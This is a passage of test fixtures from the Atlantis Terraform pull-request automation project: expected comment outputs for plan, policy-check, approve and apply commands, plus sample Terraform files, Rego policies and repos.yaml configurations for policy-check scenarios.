approve_policies -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To re-run policies **plan** this project again by commenting: ```shell atlantis plan -d . ``` --- * :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment: ```shell atlantis approve_policies ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` * :repeat: To re-run policies **plan** this project again by commenting: ```shell atlantis plan ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-autoplan.txt ================================================ Ran Plan for dir: `.` workspace: `default`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # null_resource.simple[0] will be created + resource "null_resource" "simple" { + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. Changes to Outputs: + workspace = "default" ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d . ``` Plan: 1 to add, 0 to change, 0 to destroy. --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-clear-approval/exp-output-merge.txt ================================================ Locks and plans deleted for the projects and workspaces modified in this pull request: - dir: `.` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-clear-approval/main.tf ================================================ resource "null_resource" "simple" { count = 1 } output "workspace" { value = terraform.workspace } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-clear-approval/policies/policy.rego ================================================ package main import input as tfplan deny contains reason if { num_deletes.null_resource > 0 reason := "WARNING: Null Resource creation is prohibited." } resource_types = {"null_resource"} resources[resource_type] = all if { some resource_type resource_types[resource_type] all := [name | name := tfplan.resource_changes[_] name.type == resource_type ] } # number of deletions of resources of a given type num_deletes[resource_type] = num if { some resource_type resource_types[resource_type] all := resources[resource_type] deletions := [res | res := all[_]; res.change.actions[_] == "create"] num := count(deletions) } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-clear-approval/repos.yaml ================================================ policies: owners: users: - runatlantis policy_sets: - name: test_policy path: policies/policy.rego source: local ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-clear-approval/versions.tf ================================================ terraform { required_providers { null = { source = "hashicorp/null" version = "3.2.4" } } } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/atlantis.yaml ================================================ version: 3 projects: - dir: . workspace: default ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/exp-output-apply-failed.txt ================================================ Ran Apply for dir: `.` workspace: `default` **Apply Failed**: All policies must pass for project before running apply. ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/exp-output-apply.txt ================================================ Ran Apply for dir: `.` workspace: `default` ```diff null_resource.simple: null_resource.simple: Apply complete! Resources: 1 added, 0 changed, 0 destroyed. Outputs: workspace = "default" ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/exp-output-approve-policies.txt ================================================ Approved Policies for 1 projects: 1. dir: `.` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/exp-output-auto-policy-check.txt ================================================ Ran Policy Check for dir: `.` workspace: `default` **Policy Check Failed**: Some policy sets did not pass. ```diff pre-conftest output ``` #### Policy Set: `test_policy` ```diff FAIL - - main - WARNING: Null Resource creation is prohibited. 1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions ``` ```diff [{"PolicySetName":"test_policy","PolicyOutput":"FAIL - - main - WARNING: Null Resource creation is prohibited.\n\n1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions\n","Passed":false,"ReqApprovals":1,"CurApprovals":0}] post-conftest output ``` #### Policy Approval Status: ``` policy set: test_policy: requires: 1 approval(s), have: 0. ``` * :heavy_check_mark: To **approve** this project, comment: ```shell atlantis approve_policies -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To re-run policies **plan** this project again by commenting: ```shell atlantis plan -d . ``` --- * :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment: ```shell atlantis approve_policies ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` * :repeat: To re-run policies **plan** this project again by commenting: ```shell atlantis plan ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/exp-output-autoplan.txt ================================================ Ran Plan for dir: `.` workspace: `default`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # null_resource.simple[0] will be created + resource "null_resource" "simple" { + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. Changes to Outputs: + workspace = "default" ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d . ``` Plan: 1 to add, 0 to change, 0 to destroy. --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/exp-output-merge.txt ================================================ Locks and plans deleted for the projects and workspaces modified in this pull request: - dir: `.` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/main.tf ================================================ resource "null_resource" "simple" { count = 1 } output "workspace" { value = terraform.workspace } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/policies/policy.rego ================================================ package main import input as tfplan deny contains reason if { num_deletes.null_resource > 0 reason := "WARNING: Null Resource creation is prohibited." } resource_types = {"null_resource"} resources[resource_type] = all if { some resource_type resource_types[resource_type] all := [name | name := tfplan.resource_changes[_] name.type == resource_type ] } # number of deletions of resources of a given type num_deletes[resource_type] = num if { some resource_type resource_types[resource_type] all := resources[resource_type] deletions := [res | res := all[_]; res.change.actions[_] == "create"] num := count(deletions) } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/repos.yaml ================================================ policies: owners: users: - runatlantis policy_sets: - name: test_policy path: policies/policy.rego source: local workflows: default: policy_check: steps: - show - run: "echo 'pre-conftest output'" - policy_check: extra_args: - --no-fail - run: "echo 'post-conftest output'" ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-custom-run-steps/versions.tf ================================================ terraform { required_providers { null = { source = "hashicorp/null" version = "3.2.4" } } } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-diff-owner/atlantis.yaml ================================================ version: 3 projects: - dir: . workspace: default ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-diff-owner/exp-output-apply-failed.txt ================================================ Ran Apply for dir: `.` workspace: `default` **Apply Failed**: All policies must pass for project before running apply. ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-diff-owner/exp-output-approve-policies.txt ================================================ Ran Approve Policies for 1 projects: 1. dir: `.` workspace: `default` --- ### 1. dir: `.` workspace: `default` **Approve Policies Error** ``` policy set: test_policy user runatlantis is not a policy owner - please contact policy owners to approve failing policies ``` #### Policy Approval Status: ``` policy set: test_policy: requires: 1 approval(s), have: 0. ``` * :heavy_check_mark: To **approve** this project, comment: ```shell atlantis approve_policies -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To re-run policies **plan** this project again by commenting: ```shell atlantis plan -d . ``` --- * :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment: ```shell atlantis approve_policies ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` * :repeat: To re-run policies **plan** this project again by commenting: ```shell atlantis plan ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-diff-owner/exp-output-auto-policy-check.txt ================================================ Ran Policy Check for dir: `.` workspace: `default` **Policy Check Failed**: Some policy sets did not pass. #### Policy Set: `test_policy` ```diff FAIL - - main - WARNING: Null Resource creation is prohibited. 1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions ``` #### Policy Approval Status: ``` policy set: test_policy: requires: 1 approval(s), have: 0. ``` * :heavy_check_mark: To **approve** this project, comment: ```shell atlantis approve_policies -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To re-run policies **plan** this project again by commenting: ```shell atlantis plan -d . ``` --- * :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment: ```shell atlantis approve_policies ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` * :repeat: To re-run policies **plan** this project again by commenting: ```shell atlantis plan ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-diff-owner/exp-output-autoplan.txt ================================================ Ran Plan for dir: `.` workspace: `default`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # null_resource.simple[0] will be created + resource "null_resource" "simple" { + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. Changes to Outputs: + workspace = "default" ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d . ``` Plan: 1 to add, 0 to change, 0 to destroy. --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-diff-owner/exp-output-merge.txt ================================================ Locks and plans deleted for the projects and workspaces modified in this pull request: - dir: `.` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-diff-owner/main.tf ================================================ resource "null_resource" "simple" { count = 1 } output "workspace" { value = terraform.workspace } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-diff-owner/policies/policy.rego ================================================ package main import input as tfplan deny contains reason if { num_deletes.null_resource > 0 reason := "WARNING: Null Resource creation is prohibited." } resource_types = {"null_resource"} resources[resource_type] = all if { some resource_type resource_types[resource_type] all := [name | name := tfplan.resource_changes[_] name.type == resource_type ] } # number of deletions of resources of a given type num_deletes[resource_type] = num if { some resource_type resource_types[resource_type] all := resources[resource_type] deletions := [res | res := all[_]; res.change.actions[_] == "create"] num := count(deletions) } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-diff-owner/repos.yaml ================================================ policies: owners: users: - someoneelse policy_sets: - name: test_policy path: policies/policy.rego source: local ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-diff-owner/versions.tf ================================================ terraform { required_providers { null = { source = "hashicorp/null" version = "3.2.4" } } } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/atlantis.yaml ================================================ version: 3 projects: - dir: . workspace: default ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/exp-output-apply-failed.txt ================================================ Ran Apply for dir: `.` workspace: `default` **Apply Failed**: All policies must pass for project before running apply. ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/exp-output-apply.txt ================================================ Ran Apply for dir: `.` workspace: `default` ```diff null_resource.simple: null_resource.simple: Apply complete! Resources: 1 added, 0 changed, 0 destroyed. Outputs: workspace = "default" ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/exp-output-approve-policies.txt ================================================ Approved Policies for 1 projects: 1. dir: `.` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/exp-output-auto-policy-check.txt ================================================ Ran Policy Check for dir: `.` workspace: `default` **Policy Check Failed**: Some policy sets did not pass. #### Policy Set: `test_policy` ```diff FAIL - - main - WARNING: Null Resource creation is prohibited. 1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions ``` #### Policy Approval Status: ``` policy set: test_policy: requires: 1 approval(s), have: 0. ``` * :heavy_check_mark: To **approve** this project, comment: ```shell atlantis approve_policies -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To re-run policies **plan** this project again by commenting: ```shell atlantis plan -d . ``` --- * :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment: ```shell atlantis approve_policies ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` * :repeat: To re-run policies **plan** this project again by commenting: ```shell atlantis plan ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/exp-output-autoplan.txt ================================================ Ran Plan for dir: `.` workspace: `default`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # null_resource.simple[0] will be created + resource "null_resource" "simple" { + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. Changes to Outputs: + workspace = "default" ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d . ``` Plan: 1 to add, 0 to change, 0 to destroy. --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/exp-output-merge.txt ================================================ Locks and plans deleted for the projects and workspaces modified in this pull request: - dir: `.` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/main.tf ================================================ resource "null_resource" "simple" { count = 1 } output "workspace" { value = terraform.workspace } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/policies/policy.rego ================================================ package main import input as tfplan deny contains reason if { num_deletes.null_resource > 0 reason := "WARNING: Null Resource creation is prohibited." } resource_types = {"null_resource"} resources[resource_type] = all if { some resource_type resource_types[resource_type] all := [name | name := tfplan.resource_changes[_] name.type == resource_type ] } # number of deletions of resources of a given type num_deletes[resource_type] = num if { some resource_type resource_types[resource_type] all := resources[resource_type] deletions := [res | res := all[_]; res.change.actions[_] == "create"] num := count(deletions) } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/repos.yaml ================================================ repos: - id: "/.*/" policy_check: false - id: github.com/runatlantis/atlantis-tests policies: owners: users: - runatlantis policy_sets: - name: test_policy path: policies/policy.rego source: local ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-disabled-previous-match/versions.tf ================================================ terraform { required_providers { null = { source = "hashicorp/null" version = "3.2.4" } } } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/atlantis.yaml ================================================ version: 3 projects: - dir: . workspace: default policy_check: false ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/exp-output-apply-failed.txt ================================================ Ran Apply for dir: `.` workspace: `default` **Apply Failed**: All policies must pass for project before running apply. ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/exp-output-apply.txt ================================================ Ran Apply for dir: `.` workspace: `default` ```diff null_resource.simple: null_resource.simple: Apply complete! Resources: 1 added, 0 changed, 0 destroyed. Outputs: workspace = "default" ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/exp-output-approve-policies.txt ================================================ Approved Policies for 1 projects: 1. dir: `.` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/exp-output-auto-policy-check.txt ================================================ Ran Policy Check for dir: `.` workspace: `default` **Policy Check Failed**: Some policy sets did not pass. #### Policy Set: `test_policy` ```diff FAIL - - main - WARNING: Null Resource creation is prohibited. 1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions ``` #### Policy Approval Status: ``` policy set: test_policy: requires: 1 approval(s), have: 0. ``` * :heavy_check_mark: To **approve** this project, comment: ```shell atlantis approve_policies -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To re-run policies **plan** this project again by commenting: ```shell atlantis plan -d . ``` --- * :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment: ```shell atlantis approve_policies ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` * :repeat: To re-run policies **plan** this project again by commenting: ```shell atlantis plan ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/exp-output-autoplan.txt ================================================ Ran Plan for dir: `.` workspace: `default`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # null_resource.simple[0] will be created + resource "null_resource" "simple" { + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. Changes to Outputs: + workspace = "default" ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d . ``` Plan: 1 to add, 0 to change, 0 to destroy. --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/exp-output-merge.txt ================================================ Locks and plans deleted for the projects and workspaces modified in this pull request: - dir: `.` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/main.tf ================================================ resource "null_resource" "simple" { count = 1 } output "workspace" { value = terraform.workspace } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/policies/policy.rego ================================================ package main import input as tfplan deny contains reason if { num_deletes.null_resource > 0 reason := "WARNING: Null Resource creation is prohibited." } resource_types = {"null_resource"} resources[resource_type] = all if { some resource_type resource_types[resource_type] all := [name | name := tfplan.resource_changes[_] name.type == resource_type ] } # number of deletions of resources of a given type num_deletes[resource_type] = num if { some resource_type resource_types[resource_type] all := resources[resource_type] deletions := [res | res := all[_]; res.change.actions[_] == "create"] num := count(deletions) } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/repos.yaml ================================================ policies: owners: users: - runatlantis policy_sets: - name: test_policy path: policies/policy.rego source: local ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/versions.tf ================================================ terraform { required_providers { null = { source = "hashicorp/null" version = "3.2.4" } } } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/atlantis.yaml ================================================ version: 3 projects: - dir: . workspace: default ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/exp-output-apply-failed.txt ================================================ Ran Apply for dir: `.` workspace: `default` **Apply Failed**: All policies must pass for project before running apply. ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/exp-output-apply.txt ================================================ Ran Apply for dir: `.` workspace: `default` ```diff null_resource.simple: null_resource.simple: Apply complete! Resources: 1 added, 0 changed, 0 destroyed. Outputs: workspace = "default" ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/exp-output-approve-policies.txt ================================================ Approved Policies for 1 projects: 1. dir: `.` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/exp-output-auto-policy-check.txt ================================================ Ran Policy Check for dir: `.` workspace: `default` **Policy Check Failed**: Some policy sets did not pass. #### Policy Set: `test_policy` ```diff FAIL - - main - WARNING: Null Resource creation is prohibited. 1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions ``` #### Policy Approval Status: ``` policy set: test_policy: requires: 1 approval(s), have: 0. ``` * :heavy_check_mark: To **approve** this project, comment: ```shell atlantis approve_policies -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To re-run policies **plan** this project again by commenting: ```shell atlantis plan -d . ``` --- * :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment: ```shell atlantis approve_policies ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` * :repeat: To re-run policies **plan** this project again by commenting: ```shell atlantis plan ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/exp-output-autoplan.txt ================================================ Ran Plan for dir: `.` workspace: `default`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # null_resource.simple[0] will be created + resource "null_resource" "simple" { + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. Changes to Outputs: + workspace = "default" ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d . ``` Plan: 1 to add, 0 to change, 0 to destroy. --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/exp-output-merge.txt ================================================ Locks and plans deleted for the projects and workspaces modified in this pull request: - dir: `.` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/main.tf ================================================ resource "null_resource" "simple" { count = 1 } output "workspace" { value = terraform.workspace } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/policies/policy.rego ================================================ package main import input as tfplan deny contains reason if { num_deletes.null_resource > 0 reason := "WARNING: Null Resource creation is prohibited." } resource_types = {"null_resource"} resources[resource_type] = all if { some resource_type resource_types[resource_type] all := [name | name := tfplan.resource_changes[_] name.type == resource_type ] } # number of deletions of resources of a given type num_deletes[resource_type] = num if { some resource_type resource_types[resource_type] all := resources[resource_type] deletions := [res | res := all[_]; res.change.actions[_] == "create"] num := count(deletions) } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/repos.yaml ================================================ repos: - id: /.*/ policy_check: false policies: owners: users: - runatlantis policy_sets: - name: test_policy path: policies/policy.rego source: local ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/versions.tf ================================================ terraform { required_providers { null = { source = "hashicorp/null" version = "3.2.4" } } } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/atlantis.yaml ================================================ version: 3 projects: - dir: . workspace: default policy_check: true ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/exp-output-apply-failed.txt ================================================ Ran Apply for dir: `.` workspace: `default` **Apply Failed**: All policies must pass for project before running apply. ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/exp-output-apply.txt ================================================ Ran Apply for dir: `.` workspace: `default` ```diff null_resource.simple: null_resource.simple: Apply complete! Resources: 1 added, 0 changed, 0 destroyed. Outputs: workspace = "default" ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/exp-output-approve-policies.txt ================================================ Approved Policies for 1 projects: 1. dir: `.` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/exp-output-auto-policy-check.txt ================================================ Ran Policy Check for dir: `.` workspace: `default` **Policy Check Failed**: Some policy sets did not pass. #### Policy Set: `test_policy` ```diff FAIL - - main - WARNING: Null Resource creation is prohibited. 1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions ``` #### Policy Approval Status: ``` policy set: test_policy: requires: 1 approval(s), have: 0. ``` * :heavy_check_mark: To **approve** this project, comment: ```shell atlantis approve_policies -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To re-run policies **plan** this project again by commenting: ```shell atlantis plan -d . ``` --- * :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment: ```shell atlantis approve_policies ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` * :repeat: To re-run policies **plan** this project again by commenting: ```shell atlantis plan ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/exp-output-autoplan.txt ================================================ Ran Plan for dir: `.` workspace: `default`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # null_resource.simple[0] will be created + resource "null_resource" "simple" { + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. Changes to Outputs: + workspace = "default" ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d . ``` Plan: 1 to add, 0 to change, 0 to destroy. --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/exp-output-merge.txt ================================================ Locks and plans deleted for the projects and workspaces modified in this pull request: - dir: `.` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/main.tf ================================================ resource "null_resource" "simple" { count = 1 } output "workspace" { value = terraform.workspace } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/policies/policy.rego ================================================ package main import input as tfplan deny contains reason if { num_deletes.null_resource > 0 reason := "WARNING: Null Resource creation is prohibited." } resource_types = {"null_resource"} resources[resource_type] = all if { some resource_type resource_types[resource_type] all := [name | name := tfplan.resource_changes[_] name.type == resource_type ] } # number of deletions of resources of a given type num_deletes[resource_type] = num if { some resource_type resource_types[resource_type] all := resources[resource_type] deletions := [res | res := all[_]; res.change.actions[_] == "create"] num := count(deletions) } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/repos.yaml ================================================ policies: owners: users: - runatlantis policy_sets: - name: test_policy path: policies/policy.rego source: local ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/versions.tf ================================================ terraform { required_providers { null = { source = "hashicorp/null" version = "3.2.4" } } } ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/atlantis.yaml ================================================ version: 3 projects: - dir: . workspace: default ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/exp-output-apply-failed.txt ================================================ Ran Apply for dir: `.` workspace: `default` **Apply Failed**: All policies must pass for project before running apply. ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/exp-output-apply.txt ================================================ Ran Apply for dir: `.` workspace: `default` ```diff null_resource.simple: null_resource.simple: Apply complete! Resources: 1 added, 0 changed, 0 destroyed. Outputs: workspace = "default" ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/exp-output-approve-policies.txt ================================================ Approved Policies for 1 projects: 1. dir: `.` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/exp-output-auto-policy-check.txt ================================================ Ran Policy Check for dir: `.` workspace: `default` **Policy Check Failed**: Some policy sets did not pass. #### Policy Set: `test_policy` ```diff FAIL - - main - WARNING: Null Resource creation is prohibited. 1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions ``` #### Policy Approval Status: ``` policy set: test_policy: requires: 1 approval(s), have: 0. ``` * :heavy_check_mark: To **approve** this project, comment: ```shell atlantis approve_policies -d . ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To re-run policies **plan** this project again by commenting: ```shell atlantis plan -d . ``` --- * :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment: ```shell atlantis approve_policies ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` * :repeat: To re-run policies **plan** this project again by commenting: ```shell atlantis plan ``` ================================================ FILE: server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/exp-output-autoplan.txt ================================================ Ran Plan for dir: `.` workspace: `default`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # null_resource.simple[0] will be created + resource "null_resource" "simple" { + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. Changes to Outputs: + workspace = "default" ```
